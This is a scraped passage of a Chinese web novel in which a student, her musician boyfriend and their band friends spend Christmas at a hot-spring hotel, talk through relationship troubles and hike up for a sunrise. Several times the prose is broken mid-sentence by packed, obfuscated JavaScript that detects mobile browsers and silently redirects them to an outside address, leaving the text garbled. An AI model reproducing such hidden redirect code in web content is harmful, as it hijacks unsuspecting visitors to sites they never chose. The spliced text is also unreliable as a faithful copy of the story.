RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073640|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么就给他报了什么。” “那也是他信任你,谁知道你会把手脚不协调的人往舞蹈坑里带啊。”罗姝戳了他胸口一下,继续替曹非抱不平:“你还老欺负他呢,人家一个钢琴王子陪你组摇滚乐队,对他好点吧。” “罗姝姝你向着别人!”段胥阳一副伤心欲绝的样子,佯装擦眼泪:“我对他还不好嘛,他小时候跟石头一样天天就知道练琴,要不是我带着他玩,他都成傻子了!” “你都不知道,曹非他爸爸有多严格,稍微弹错一点就打我们手背,我们俩天赋还差,手天天肿得跟猪蹄似的。” 段胥阳说着说着就得意起来:“后来我就起义了,我拉着曹非离家出走到附近游乐园疯玩了一天,不用练琴不用挨打不用被曹老师死亡视线紧盯,他这才知道生活有多美好,从此成为我的小弟。” 罗姝又看了曹非一眼,着重看了看他的手。 她也是外行,只知道曹非手指修长有力,应该十分适合弹钢琴。 “他天赋不好吗?” “比起他姐确实差了很多,小时候曹老师说我们这种天赋考个业余级别的十级就顶天了。” 段胥阳摇摇头,遗憾咂舌:“曹姐有天赋,但她不想走曹老师的老路。她脾气又臭,翅膀又硬,曹老师奈何不了她,只好把‘后继有人’的希望全放在曹非身上,所以对他过于苛刻了点。” “我可没有夸张,曹非是哭着长大的,都说勤能补拙,为了补上他的‘拙’,他连出门的机会都没有,所有休息时间都在练琴。” “要不是我小时候调皮捣蛋,我妈想治治我,送我到曹老师家一起学琴,他连一个朋友都不会有。” 话题都偏到郊区了,段胥阳还记得自己有冤,开始叫屈:“学琴这件事对他来说其实很压抑,他主动说要跟我搞乐队,正好可以疏解一下他的压力。我全是为了他好,怕他没有朋友我还特意跟他报同一所大学呢。” “家家有本难念的经。”罗姝不期然想到了自己,她又何尝不是背负着父母过高的期望,遍布枷锁地活着呢? 或许,就连曹恩悦,也是在这种高压氛围中长大的。 相似的家庭环境,这会是她在原文中成为“罗姝”的一个契机吗? “你不准心疼他!”段胥阳怒目而视,醋意大发:“他自己也是喜欢钢琴的,不然不会坚持这么多年,你支持他的一切决定就好了。你要先心疼我,我小时候还得天天被打手呢。” “好好好,我最心疼你。”罗姝抓起他的手吹了吹,又摸到了他掌心的薄茧。 他练吉他时受得罪就一声不吭,现在为了那么多年前手背挨过的打跟她撒娇。 “你也是个小傻子。”她嗔了一句,眼眶有些发酸。 她又觉得自己莫名其妙,吸了吸鼻子,开始转移话题:“你下学期报四级吗?我还要考六级,我可以跟你一块学。” 段胥阳:“……” 他的女朋友才不解风情得像个石头蛋子。 34. 恋爱第12天 而这个十二月,除了考不完的试,对于逆时针乐队和罗姝来说,还有另外一个考验。 与热门动漫联动的宣传视频开始陆续放出了。 总共十个视频,隔两天发一条,最后一条发布的时间正好与动漫播出日期重合。 第一条视频发出以后,几个人都不约而同紧张起来,罗姝担心视频热度差,还用自己的账号转发了一遍。 她的账号本来是注册来私人使用的。 前段时间为了找感觉,她制作了不少动漫相关视频。想着虽然是练手作,也是辛苦产出的作品,她索性一股脑都上传到了这个账号上,意外吸引了一些动漫粉。 虽然只有几百粉,但万一就能靠这几百个粉丝把话题传播到动漫粉群体那里呢? 实际热度比罗姝想象中要好很多,视频上传24小时内就达到了万赞,评论和收藏数也都上了千,对于他们这样的无名乐队而言,这个数据可谓十分亮眼了。 “我承认我买了推广,买了35块钱的。”孟宇寰松了一口气,在群里po出自己的付款记录。 过了一会儿,黄大骏也发了一张付款截图,说:“我有折扣,20块钱买的。” 两人都是在昨天视频发出后不久就买了视频平台的推流服务,段胥阳不满地在群里嚷嚷:“怎么回事,对我们这么没有信心吗?” “你别说那话,你买了多少?”孟宇寰丝毫没被吓唬住,当即反问了回去。 段胥阳便在群里@了罗姝和曹非两个人,作为代表回答:“我们仨合资买了两百块钱的。” 他紧接着又甩出一张后台数据,除了这一期视频,往期的许多视频收赞评也在稳定地上涨,幅度不算很大,但都是引流成功的证明。 “没买亏,下一期应该不需要买了。” “这都是必要的投入。”孟宇寰对这个数据表示了高度肯定,并大手一挥宣布:“快到期末了,大家差不多都没课了吧?圣诞那两天我请你们到山上的温泉酒店放松放松,已经订好房间了。” 他还单独@了罗姝:“你晓风学姐也会来的,姝姝也来吧?” 晓风学姐全名于晓风,播音主持专业,有几期reaction视频请了她来做幕后主持,她也算是这个项目的重要合作伙伴,但罗姝和她还没正式见过面。 扭头问了问室友们有没有过圣诞节的计划,得知大家只准备宅在寝室不出门,节日仪式感就是吃颗苹果后,罗姝应下了这个邀请。 “那你是不是得买泳衣,”正在一边抄笔记的康雅琪闻言伸长了脖子:“男女混汤还是分开?” “我也没问,应该是分开吧。”罗姝认真思考了一下:“跟我们一起的学姐还没有跟学长正式在一起,不合适一起泡温泉。” “那就不考虑他们了,你和段胥阳肯定会私下见面的,要不要备个战袍?”康雅琪两条眉毛极其灵活地跳来跳去,满脸写着不正经。 罗姝在网上搜了一下,也有些拿不定主意:“有人说酒店会提供专门的浴袍,也有人说最好还是自带,要不我还是自己带一套?” 林莎迅速翻转手机屏幕,她早已搜索妥当,上面是一条鹅黄色的泳衣:“自备一套有备无患,这样的裙装泳衣就不错,清纯又可爱。” “那会不会有些呆板?我们都是成年人了。”康雅琪拉着罗姝左看右看,恨不得亲自上手量一量,最终下定结论:“姝姝的话穿比基尼也好看。” 罗姝满脸拒绝:“会暴露我的赘肉。” 罗姝本身就并不是特别清瘦,虽然几个月前因为失眠精神不济体重降低了很多,这段时间也渐渐把肉重新养回来了,现在她整个人正介于瘦与微胖之间。 “我说句公道话,你没有赘肉,只是软绵绵的,能捏到肉肉。”白婵先纠正她的错误思想,接着作为室长表态:“但我也觉得还是穿裙装好一些。” 康雅琪一琢磨,自己打消了这个想法,没再争辩:“也对,你们是一帮人一起出去,也不是二人约会。” 见她上道,白婵满意地点点头,转头悄悄对罗姝说:“最重要的是保护好自己,不是说不能发生什么,你自己要想清楚到没到时机,以及,必须做好措施。” 罗姝这个亲个嘴都亲不准的恋爱菜鸡突然被一辆大卡车碾过去,白净的面皮有些发烫。 她也没有不谙世事到听不懂白婵几乎明示的忠告,虽然心里觉得她和段胥阳不会这么快发展到这一步,她还是对着白婵郑重点头:“好。” 考试月的时间总是过得飞快,陆续结课后,罗姝她们甚至提前过上了放假生活,只剩下复习任务。 平安夜当天下午,六个人拼了两辆车开始向半山腰的温泉酒店出发。 段胥阳从司机的位置被挤到后排,他数了又数,自己这辆车上确实坐了四个人,除了孟宇寰和于晓风,其他人都在这里。 “你们就这么钻小情侣的车当电灯泡吗?”他简直震惊。 谄媚地将段胥阳挤到后排并主动认领司机一职的黄大骏往后排丢了一包巧克力,说:“那俩暧昧几年了还在暧昧期,就当帮帮你可怜的孟哥,给你巧克力当车费。” 听到这个理由,段胥阳只好接受,他把巧克力拆开放到罗姝手里,又嘟囔了两句:“行,看在他们分隔两地这么久的份上,祝他们这两天玩得开心。” 孟宇寰作为活动发起人,比他们都早走一步,罗姝一直到进了酒店才真正见到传说中的晓风学姐。 只第一眼她就觉得,像是新闻联播主持人打穿电视屏幕走到她面前了。 用网上常用的形容词来描述的话,于晓风天生长着一张国泰民安的脸,端正又大气,让人忍不住心生信任与好感。 “姝姝,久仰。”她率先走过来跟罗姝打招呼:“之前很长一段时间我都不在学校,现在终于有机会见面了。” “我也是。” 罗姝悄悄对比了一下两人的个头,于晓风身高应该远超一米七,比她高出许多,自带压迫感。 她干巴巴地笑了两声:“我也一直想跟学姐见一面呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082162|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这是一家庭院式酒店,除了酒店主楼,还有十来个庭院套房,自带汤池,更加私密。 孟宇寰订的就是庭院套房,他一边走一边说:“套房那边有个挺大的院子,要是夏天来我们还可以室外自己烧烤,现在只能让庭院管家烤好送过来,缺少了一些动手的乐趣。” “楼上楼下总共四个房间,咱们正常两两住一间,有三间就够了。剩下那间,万一谁打呼噜磨牙,室友可以去避难。” 于晓风忽然碰了碰罗姝的手,低声问她:“你晚上一个人住会害怕吗?” “不会。”罗姝诚实摇头,像是看出了于晓风的意图,她主动说:“学姐要是不习惯跟别人同住的话,不用顾忌我。” 于晓风闻言摊开手臂紧紧抱了她一下,沉稳的声音里染上显而易见的喜悦:“姝姝你真好,我只是晚上还有别的事,下次有机会我们再一块睡!” 罗姝被抱的一脸懵,最终只能得出一个结论:看来晓风学姐晚上要办的事还挺重要的。 多人聚餐总是逃不开火锅和烧烤,偏偏这两种食物香味极其浓郁。 等几个人冒着寒风走进室内时,庭院管家已经帮忙备好了菜,一室飘香,哪怕原本不饿的人,此刻都忍不住肚子咕咕叫。 大家连行李箱都来不及放,陆续洗了个手就直接落座开始大快朵颐,期间伴随着谈笑风生。 也是这时候罗姝才知道,于晓风这学期之所以很少在学校,是因为她去参加了一个主持人技能大赛,还一路从海选闯到了总决赛,最后遗憾止步前七强。 “总决赛七选三,前三名都有奖,而我是第一个被淘汰的。”于晓风一脸技不如人甘拜下风:“那真是神仙打架,我第一次那么深刻地意识到,当主持人要有非常灵活的大脑。” “那前三名的奖品是什么?”黄大骏一边被辣得流眼泪,一边吸着气问她。 “直接签约电视台当常驻主持人,厉害吧?”于晓风又往清汤锅底里涮了几块肉,抬头看了他们一眼,问道:“你们明年不是也想参加乐队竞技节目么,节目组的奖品是什么有透露过吗?” 罗姝吃饭的动作一顿。 晓风学姐口中的乐队竞技节目,应该就是原文中使段胥阳名声大臊,以黑马之姿闯入乐坛的那个乐队综艺。 原来这么早就已经有了这个节目的消息,她还以为至少得等到下学期。 段胥阳还在一个劲儿地给她夹菜,罗姝的碗里就没有一秒钟是空着的,她拦了一下:“我吃好了,你也顾着点你自己。” 等段胥阳低头吃饭,她又不着痕迹地看了他好几眼。 很快,他的“粉丝”就不止她一个人了,会有越来越多的人喜欢他,追随他。 直到他与原文中那个当红小天王的形象重合。 那他们,也会与命运更近一步吗。 大脑隐隐作痛,她的耳边仿佛听到电流滑过电缆的滋滋声,曾经揉碎她梦境的那只巨手突然跃上心头。 她懂得那是多么强大的对手。 35. 恋爱第13天 一顿饭渐渐吃到尾声,大家都鲜少再动筷子,只熏着锅里的热气随意聊天。 曹非放在碗边的手机突然铃声大作,他低头看了一眼,认命地叹一口气,一边站起身向外走,一边接通喊了声:“姐夫。” 这个称谓一出,整个饭桌上的人都心照不宣地笑了,孟宇寰正在擦眼镜上的蒸汽,不禁摇头:“看来姐姐和姐夫又吵架了。” “要不说孩子才是家庭的纽带,小曹非作为这个家庭的金牌调解员,实在付出了太多。”黄大骏将杯子里剩余的啤酒一饮而尽:“他外甥女以后得多和他请教。” 于晓风与曹非、段胥阳两个人其实也没怎么见过面,对他们并不熟悉,闻言好奇问道:“怎么回事,曹非姐姐一家夫妻关系不太和睦?” “听着是经常吵架,几乎每天曹非都能接到他姐夫的哭诉电话。”孟宇寰说着,意有所指地看了于晓风一眼:“但其实很多都是沟通不当,耐心些多沟通几次或许就不用吵。” 于晓风用手指比了个OK,没再说话。 而罗姝正在拼命回想剧情。 他们现在都处在前置剧情阶段,这些内容在原文中往往都是一笔带过。 有关于曹恩悦丈夫的描写也非常脸谱化,他就是一个出轨后为谋求妻子巨额财产,拖延着不肯离婚,与小三联手害死曹恩悦的渣男罪犯。 至于婚前他们如何相知相恋,婚姻存续期间又如何相处,那漫长的时间只有短短一行字概括:从校园走到婚纱,也曾短暂度过一段甜蜜的日子。 但曹恩悦已经不再是原文中享誉世界的钢琴家了,她如今的丈夫,还是原文中的那个渣男吗? 除了与他们真正见一面,罗姝无从辨别。 无论如何,或许都有同一个办法来尽力从源头避免这场人祸。 罗姝神情犹豫着,慢吞吞地开口:“既然感情已经开始走下坡路了,他们为什么不离婚呢?” “噗咳咳咳……” 段胥阳正喝着水,闻言直接被呛到。 他都顾不上整理狼藉,赶紧作为曹家半个儿子开口解释:“他俩感情挺好的,就是性格问题。姐姐不拘小节,姐夫却特别敏感,所以总会有点小矛盾,一般找曹非诉顿苦就能好。” “还没到离婚的程度!” 他拽着罗姝的凳子腿把她连人带椅子一起拉过来,伸手捏了捏她的脸:“这话千万别被姐夫听到了,他真能找你哭三天三夜。” 余下几人也没想到罗姝会说这个,孟宇寰赶紧笑说:“不能再聊了,再聊下去姐夫得打飞的过来找我们算账。一会儿我让庭院管家帮忙收拾一下,你们先各自去放行李,歇一歇,等个一个多小时再去泡温泉。” 一桌人朝着不同方向四散开来,罗姝还跟在段胥阳后面,她也没什么底气,只是低声嘀咕:“小矛盾也有可能发展成大矛盾啊,可以提前防备一下。” 她说这话时已经做好了被剧情惩罚的准备,但一直到她说完都风平浪静,她心里快速闪过结论:看来她的提议并不会破坏剧情。 可能是因为曹恩悦那边的剧情也早已经跑偏,不会再被她影响。 不过这都是猜测,在真正与曹恩悦见面之前,全都没有支撑性证据。 剧情没有惩罚她,段胥阳可以。 他直接在她脸上咬了一口,动作很轻,没有留下牙印,但他态度很凶:“罗姝姝,我郑重声明,感情是需要经营维系的,不能一言不合就提分开,你的想法很危险。” 罗姝揉了揉脸,想张口解释什么,发现也不好解释,只好委屈地闭上嘴,冲他哼了一声。 房间在吃饭的时候就已经分好,段胥阳和罗姝都住在二楼,这会儿段胥阳已经一手拎着一个行李箱迈上了楼梯。 听到身后那声哼,他也在心里冷哼一声。 罗姝的房间更靠里,段胥阳路过自己房间时把行李箱随手往里一推,拉着罗姝的箱子继续往前走。 “你都到了就先去整理东西吧,没必要再多走这几步。” 罗姝伸手要从他手里接过自己的行李箱,被他拂开:“你别管,我有我的计划。” “……这还能有什么计划。”她无语。 直到一进房间,她就被段胥阳掐着腋下抱起,整个人像只玩偶熊一样趴在他身上时,罗姝才懂了这个“计划”到底是指什么。 悬空的感觉总是令人没有安全感,罗姝两条胳膊搂紧他不算,双腿也紧紧盘着段胥阳的腰,才勉强打消那种摇摇欲坠的恐慌。 “你干嘛!” “算账。”段胥阳更加理直气壮,他维持着这个姿势,把人抱到房间一张小沙发上坐好:“你还没跟我承诺好,以后不会随随便便就提分手。” 罗姝整个人都坐在他腿上,她又觉得不自在,又怕压得段胥阳腿麻,已经僵硬成了一个秤砣:“不会的,我不会随便提分手,好不好?” “口说无凭。”段胥阳眼珠子一转就有了主意:“先跟我拟一个口头协议。甲乙双方现就感情经营问题达成共识,未经另一方允许,不许无故提出分手,违者后果自负。我是乙方段胥阳,我已经签好字了。” 这口头协议还像模像样的,罗姝忍着笑陪他玩:“我是甲方罗姝,我也签好字了。” “行,那盖章吧。”段胥阳刻意努了努嘴:“盖章,懂吧?” 看懂他暗示的罗姝有些难为情,她嗫嚅了几下,没动作。 段胥阳当即瞪眼:“干嘛,上次亲我不是很顺口吗?” 上次那是天时地利人和总而言之就是情绪到了水到渠成你懂不懂! 罗姝别开脸,而很明显现在是没有这种氛围感的。 “那我就抱着不撒手。”段胥阳开始耍无赖,语调也真的有些委屈:“你都很少亲我。” 要真这么算,罗姝也有话说:“你也没怎么亲过我啊,怎么不是你先盖章。” 话赶话已经说了出去她才意识到不妥,想逃已经来不及,年轻男人双眼顿时发亮,像一座山般向她袭来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087297|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双唇相接的瞬间,甜蜜宛如奶油般化开。他生涩地辗转,干涸的唇瓣在她的唇周磨出清晰的触感,又渐渐濡湿,一下下啄吻在她的舌尖。 罗姝双眼迷蒙着,感受这种奇异的情绪。她明明半睁着眼睛,却什么都看不见,只能感觉到她被嵌在他的怀抱里面,四肢百骸都流淌着热意。 拥抱她的那双手臂又收紧了些,段胥阳的嘴唇游离到她耳畔脖颈,落下一个又一个吻,时而脸颊相蹭。 耳鬓厮磨,不外如是。 那吻又从耳后一点点绕回,在沉重温热地停留中洇红她的双唇。 不知持续了多久。 呼吸纠缠,在彼此心脏狂跳中乱了节奏,罗姝的鼻息渐渐加重,她止不住地颤抖着,向后仰倒错开他的亲吻:“段胥阳……” 她这才看清他潮红的脸,看清他眼底仍在缠绻的绵绵情意。 眼看他又要够上来,罗姝伸手抵住他的嘴唇,在他耳边超小声说了句什么。 段胥阳所有的动作都凝滞了。 大约过了两秒,他才重新活了过来,这下脸彻底涨红成了苹果,他将罗姝松开,任她一下子跳开好几步,故作自然地说:“曹非好像还在打电话,那我先回去洗个澡,一会儿好去泡温泉。” 他像个机器人一样浑身关节都咔嚓咔嚓地站起,同手同脚向外走,还不忘叮嘱罗姝:“但是别泡太久啊,晚上早点休息,明早还要去爬山看日出呢。” 等出了这扇门,他立刻窘迫地奔跑起来,整个走廊都是他的脚步声。 罗姝还在用手背给脸降温,闻声咧嘴笑了笑,她又舔了下自己明显有些肿胀感的嘴唇,回忆起刚才发生的一切,忍不住跺了跺脚。 庭院里一共有两个汤池,在一楼的两个房间里,左边是男汤,右边是女汤,也是于晓风的房间。 差不多过去一个小时后,罗姝带好自己的东西敲响于晓风房间的门:“学姐,我来啦。” 门一开,于晓风已经卸掉了妆也换好了浴衣,头发还冒着湿气:“快进来,我刚刚用手试了下水温,温度正好。” 罗姝则一眼看到她嘴边的伤口,上面有一个很小的血痂,她关心地问了句:“学姐,你嘴怎么受伤了,需要抹药吗?” “孟宇寰咬的。”于晓风用手碰了下那个小创口,咬牙切齿:“我之前打过破伤风,应该不需要涂药。” 罗姝:“……” 貌似有什么八卦不由分说从她脑子里钻了进去。 被人亲一口有这么明显吗?她又忍不住有些心虚。 眼看小学妹尴尬在原地一幅不知如何是好的模样,于晓风顿时笑起来:“想不想听故事?” 罗姝从前并不是关心他人私事的人,但自从上了大学,被三个爱凑热闹的室友熏陶过以后,她也有了一定的敏锐程度。 就比如此刻,与其说是学姐想满足她的八卦,不如说是学姐想要倾诉。 “好啊。”罗姝自觉坐到沙发上,拿出了听课时的认真劲。 36. 恋爱第14天 “所以你是说,其实你们今天吵架了?” 逆时针乐队四人围着那一眼温泉坐着集体泡脚,顺便进行着一场“围炉夜谈”。 老大哥孟宇寰这时袒露心声,说他和于晓风单独过来时就产生了一些矛盾,想让弟弟们给他想想办法。 听到段胥阳的总结,孟宇寰抬手纠正段胥阳的用词:“不是吵架,是有些观点没谈拢,仍在洽谈中。” “她出去参加个比赛,网上就有了和其他男选手的CP粉,我想吃醋都没有立场。我又知道我们其实两情相悦,所以我想把关系确定下来。” 孟宇寰开了一罐啤酒,一口气喝掉半罐:“但她依然希望维持住现在的状态,只谈朦胧的爱。所以我们一直试图说服对方。” “恕我直言,是吵架还是互相说服,其实区别不大。”曹非应该是在场所有人中感情经历最少的人,他独自抱着一个果盘吃个不停,还不忘说扎心的话:“但是看起来你这个恋爱一时半会儿谈不上。” 黄大骏先前倒是谈过恋爱,自打他从奶油小生变成黑皮腱子肉后,女朋友就找不到爱他的感觉了,两人就此分手。 他以这浅薄的经验分析,不停地摸着下巴:“不应该啊,当初是她先对你一见钟情,你就是她最喜欢的类型,现在外形性格也没变化,她怎么就是不肯松口呢?” 提起这个,孟宇寰就怅然地叹了一口气,在这个问题上,他始终难以和于晓风同频:“她说……‘不想被确定性吞噬想象力和可能性’,太抽象了,我不懂。” “意思就是说,我倾向于不给任何关系定性,建立完全开放的人际关系,迎接更多的可能性。”于晓风对罗姝说道。 茶壶腾着热气,制成花茶的玫瑰花瓣在沸腾的茶汤中上下起伏,空气中弥漫着浓郁的花香。 于晓风给罗姝倒了一杯茶,给自己也倒了一杯,她贴近滚烫的杯口啜饮一口,下唇的伤口被激得隐隐作痛。 “事情到这一步,我承认我的错更多一点,我不想确定恋爱关系,就不该跟他告白。” “那算得上表白吗?”于晓风低头摩挲着茶杯上的花纹:“都是我们第一次见面时候的事情了,那时我们还是完全陌生的两个人。” “我们一起参加校庆,我一眼就在人群中看到了他。” 她带着回忆的脸上浮现出笑意,似乎又体验了一次那时的惊艳:“‘喜欢’这种情绪在我身上总是不长久,所以我总是习惯即时表达,哪怕我们还素不相识,我还是跑过去对他说。” “我预感我未来会喜欢你。” 罗姝轻轻吹着茶杯,稍凉后才沿着茶杯边缘抿了抿。充满馨香的玫瑰花茶并不如它展现得那般甜蜜,但也不及其他茶那样涩口。 茶水如弹珠滚入喉头,见场面似是要冷场,她接了句话:“很浪漫。” 于晓风噗嗤一声笑了出来,她也没见过罗姝这样的听众,在这个沉闷的夜晚里,居然还能生出一些乐趣。 “他们应该跟你说过吧?我追了孟宇寰三年这件事。” 罗姝只在第一次聚餐玩游戏时听过一回,她老实承认:“我确实听说过,但他们也没细说。” “那我跟你说,”于晓风又给她续了一杯茶:“其实称不上追求,只是很凑巧,我们的活动圈重合度很高,一来二去的,大家就默认是我在追着他跑。” “孟宇寰大概也是这样想的,大二那年,他特别郑重其事地找到我,说他想和我在一起。” “我当时很慌乱。”于晓风皱了皱眉,心脏也伴随着当时的回忆一起抽疼。 “我跟他说我们可能没办法在一起,我有‘得到就厌倦’的坏毛病,我不想扼杀我们的故事。” “小时候我特别喜欢商场的一个玩具,我每天放学都要绕到那里去看几眼,直到我过生日那天,我妈偷偷把它买下来送给我,我却只在当天高兴了一天。” 于晓风喝茶喝出了喝酒的劲头,她续了一杯又一杯,全都是一口闷,表情也愈发郁闷,那是对自己的郁闷。 “从小到大没人理解我为什么这样想,我就是特别固执地认为,当我与任何人、事、物产生了具体的联系,譬如我得到了那个特别喜欢的玩具,其实是剥夺了它更多的可能性。” “如果它不属于我,它可能会一直在商场里落灰,也可能被其他小朋友带回家,还有可能不小心从货架上摔下去损毁故障,或者变成商场抽奖的奖品等等。原本我会在它身上倾注无数憧憬,可它成为了我的生日礼物,它身上的未知就消失了。” “就抱着这种想法,我完全做不到答应孟宇寰。” “我不想给两个人之间的联系彻底定性,我希望我们之间有无数种可能,而不仅仅是从恋爱到结婚,或者到分手。” 当时的孟宇寰其实已经与她达成了共识,维持着心照不宣的喜欢即可。 但或许当时他们就不曾互相理解,一切平和都是空中楼阁,矛盾才会卷土重来。 使得冲突爆发的导火索,是于晓风主持人大赛某一场比赛中,和男队友表现都十分出色,被当时的录制观众拉了CP。 拉郎CP水花很小,全网只有两三个视频,加起来评论都超不过二十条。 孟宇寰依然如鲠在喉,他失落地问她:“可知道我们感情的人,有二十个吗?” 于晓风不懂他为什么要斤斤计较这种捕风捉影的事情,为什么要推翻两人曾经的共识,为什么一定要给爱情一个确定的关系。 难道爱情一定要局限在固定的关系里才能继续吗? 明明更开放一些,不用考虑很多具体的琐碎,才能让感情更加纯粹。 矛盾一直没有解决,于晓风特意跟罗姝商量分开住,也是想在晚上继续解决这个矛盾。 但矛盾之所以是矛盾,就在于它很难理清。 最终是孟宇寰气急败坏咬了她一口,质问:“你告诉我这种亲密,仅仅是普通朋友就可以做到吗?爱是有轨道的,你还想要怎么去拓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102227|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展这种可能?” 于晓风无言以对,她坚守多年的思想受到了猛烈的冲击。 “人为什么要这么早给自己的人生定性呢?”她迷惑不解:“有更多种可能不好吗?” “人为什么要这么早给自己的人生定性呢?”罗姝也跟着重复了一遍,她心里冒出一个堪称恍然的小情绪:“是啊,人不必急着给自己的人生定性。” “你呀,说是这么说,我知道你也没有完全理解我。”于晓风无奈地摇头。 罗姝把嘴边的碎发拨到耳后,不好意思地笑了笑:“世界上本来就没有真正的感同身受嘛。更何况,我可是早早就确定恋爱关系的人,大概和你的想法截然相反。” 于晓风向后仰倒,大字摊开倒在沙发上:“孤独是我的宿命。” 茶壶还在咕嘟咕嘟冒着泡,从一侧的温泉飘来并不是很好闻的臭鸡蛋味,玫瑰花香也遮不住。 罗姝皱了皱鼻子,反问了于晓风一句:“可是学姐,情感的可能性一定要聚焦在关系的确立与否吗?” “哪怕以恋爱作为原点,也可以辐射出许多种可能啊。”罗姝试图按照于晓风的思路来理解:“我们会经历多少故事,看过多少风景,能否照顾宠物,能否养育儿女。” “在海拔最低的地方看着天空,有无数种可能性。站在海拔最高的地方看着天空,也有无数种可能性。” “未知就是不可预见的,你以为它消失了,你可以去锁定未来了,那不是恰恰被未知遮蔽了双眼吗?” 讲到最后,罗姝也不知道自己讲得到底对不对。 她的观念在一个框架里,于晓风的观念在另一个框架里,也许她们之间也始终无法真正互相理解。 于晓风依然维持着那个倒下去的姿势,喃喃自语:“是这样吗?” 与此同时,隔壁另一处温泉,一场讨伐大会也在火热进行中。 段胥阳十分积极地冲在讨伐最前线,指着孟宇寰振振有词:“但是你强吻肯定是不对的!要尊重对方的感受!” “吻,只有在心意相通的时候,才是最甜蜜的!它是沟通情感的桥梁,不是用于泄气的工具!” 孟宇寰被他念得整个人萎靡不振:“那我一会儿再去跟她道个歉,我当时确实太冲动了。” 黄大骏勾住他的脖子,当个称职的陪喝,他撞了下两人的易拉罐当做碰杯:“达不到100%一致,那就先达到10%,你们不可能完全不一致。先争取、尝试,别给以后留下遗憾。” 曹非目睹这一切,感觉自己的大脑里一下装了好多东西。 有他姐姐和姐夫那种小矛盾不断,情感还持续升温的两性关系。 也有段胥阳和罗姝那样相亲相爱温柔以待的恋爱状态。看似和和美美,但不能忽视段胥阳先前那长达几年的抽风。 还有孟宇寰和于晓风这种大观念不合艰难磨合的情感问题。 他摇摇头,叉了个西瓜送进嘴里。果然单身万事大吉。 37. 恋爱第15天 凌晨,整座山还在睡眠,人类已经起床准备爬山了。 这座温泉酒店本身已经处在近半山腰的位置,他们昨天还是坐缆车上来的,只要再征服一半的路程,就能爬到山顶去看日出。 段胥阳原本计划在这个寂静的凌晨里做一些环境音采样,走在山道上才意识到,不是只有他们六个人来看日出。 住在这座酒店的客人,起码有一半都是冲着日出来的,人一多,声音就嘈杂,完全没法录音。 见他有些兴致寥寥,罗姝试图安慰开解:“其实,人声也是环境音嘛,万一以后的曲子需要人声呢?” “没事,冬天光秃秃的,要啥没啥,也没啥好录的。”段胥阳一秒钟恢复元气。 两人全副武装,浑身上下只有脸是露出来的,段胥阳上前蹭了蹭她的脸颊,双方都被对方冷冰冰的皮肤冰得一个激灵。 罗姝向后退一步躲开他:“冷。” “捂捂不就热了。”他又黏糊糊地跟上来非要贴贴。 “哪有人脸贴着脸走路的,小心一会儿摔跤。”罗姝隔着手套抓住他的手:“来,你牵着我上山,我快走不动了。” 这座山并不高,行人速度也不快,等终于站到山顶时,天边正氤氲着亮眼的朝霞,薄雾后红光若隐若现。 罗姝向后看了一眼,山下还笼罩着夜色。 从最低谷的地方出发,一路向上,才能遇到太阳。 她将这句话呢喃出声,像是在说给自己听。 段胥阳晃了晃二人相牵的手,说:“那不是最低谷的地方,那是我们的寻常。” “太阳是平等的,它会照耀在每个人身上。日出朝霞,是对爬到山巅的人额外的奖励。” 他拽着罗姝往最前方挤:“既然是太阳公公的奖励,那我们在这里许愿一定很灵。走,我们大声说给太阳听。” 罗姝就这么亦步亦趋跟在他身后,直到眼前再无阻拦,太阳似少年害羞的脸庞,满脸羞红,悄悄冒出了头。 理性上来讲,太阳的东升西落不过是地球自转运动造成的自然现象,它是那么寻常。 但此刻的宏伟景象击垮了理性,人人都沉寂了下来,静静看着它向着天宇攀升,感受着人在天地间的渺小。 “太阳公公——” 段胥阳把手放在嘴边呈喇叭状,用他清亮的嗓音唤醒了这个清晨。 “请你让罗姝永远幸福!快乐!勇敢做自己!” “我也要永远做最纯粹的音乐人!” 周围响起善意的笑声,段胥阳笑着冲四周点点头,又去拉罗姝:“你要是不好意思许愿,我替你喊。” 他背对着朝阳,脸色有些晦暗,但他的样貌早已深深刻在罗姝的眼里、心里。 她与他对视,穿透他清澈有神的双眼,看到了高中时还一团孩子气的段胥阳。 他总是呼朋引伴,一次次从她面前出现又消失,热闹地像一簇簇结伴生长的太阳花。 她的青春是孤寂无声的,但细细回想,那青春的背景里,总是少不了他灿烂的曲调。 